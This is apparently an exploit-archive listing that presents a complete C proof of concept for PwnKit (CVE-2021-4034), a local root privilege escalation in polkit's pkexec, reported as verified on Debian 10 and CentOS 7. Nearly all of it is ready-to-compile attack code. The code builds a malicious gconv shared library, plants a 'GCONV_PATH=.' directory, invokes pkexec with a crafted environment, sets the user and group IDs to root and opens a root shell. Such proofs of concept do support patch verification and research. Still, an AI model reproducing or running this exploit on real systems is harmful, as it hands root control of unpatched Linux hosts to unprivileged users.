Authored by Andris Raugulis | Site github.com

Local privilege escalation root exploit for Polkit’s pkexec vulnerability as described in CVE-2021-4034. Verified on Debian 10 and CentOS 7. Written in C.

advisories | CVE-2021-4034

/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <[email protected]>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
"#include <stdio.h>n"
"#include <stdlib.h>n"
"#include <unistd.h>nn"
"void gconv() {}n"
"void gconv_init() {n"
" setuid(0); setgid(0);n"
" seteuid(0); setegid(0);n"
" system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");n"
" exit(0);n"
"}";

int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}